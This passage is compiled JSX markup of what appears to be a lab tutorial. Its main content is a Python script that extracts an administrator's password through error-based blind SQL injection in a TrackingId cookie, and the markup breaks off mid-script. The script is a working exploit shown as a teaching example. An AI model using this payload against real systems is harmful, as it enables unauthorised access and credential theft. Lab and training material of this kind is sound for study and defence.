1`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:`print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#89DDFF`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`[✓] Final password: `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`password`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`]})})}),`\n`,_jsx(_components.h5,{children:`3) Tutorial Version`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`41`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`41`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` urllib3`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` urllib`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`parse`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`urllib3`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`disable_warnings`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`urllib3`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`exceptions`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`InsecureRequestWarning`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`proxies `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` {`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`http`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`http://127.0.0.1:8080`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`https`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`http://127.0.0.1:8080`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`}`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`def`}),_jsx(_components.span,{style:{color:`#6F42C1`,\"--shiki-dark\":`#7AA2F7`},children:` sqli_password`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`):`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` password_extracted `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` for`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` i `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`in`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` range`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`21`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` for`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` j `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`in`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` range`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`32`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`126`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sqli_payload `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#9ECE6A`},children:`%s`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`,1))='`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#9ECE6A`},children:`%s`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`') || '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` %`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` (`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`i`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`j`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sqli_payload_encoded `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` urllib`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`parse`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`quote`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`sqli_payload`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` cookies `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` {`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`TrackingId`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`FGDUewi6MoAn18KJ`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` +`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sqli_payload_encoded`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`session`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`}`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`get`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` cookies`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`cookies`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` verify`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`False`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` proxies`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`proxies`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` if`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`status_code `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`==`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 500`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` password_extracted `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` chr`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`j`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`stdout`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`write`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#89DDFF`},children:`\\\\r`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` +`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` password_extracted`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`stdout`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`flush`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`()`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` break`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` else`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`stdout`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`write`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#89DDFF`},children:`\\\\r`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` +`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` password_extracted `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` chr`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`j`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`stdout`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`flush`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`()`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`def`}),_jsx(_components.span,{style:{color:`#6F42C1`,\"--shiki-dark\":`#7AA2F7`},children:` main`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`():`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` if`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` len`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`argv`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` !=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`2`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`(+) Usage: `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#9ECE6A`},children:`%s`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` \u003curl>`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` %`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`argv`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`0`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`])`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`(+) Example: `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#9ECE6A`},children:`%s`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` www.example.com`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` %`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`argv`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`0`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`])`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`exit`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`-`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` url `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` sys`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`argv`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`]`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`(+) Retreiving administrator password...`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:` 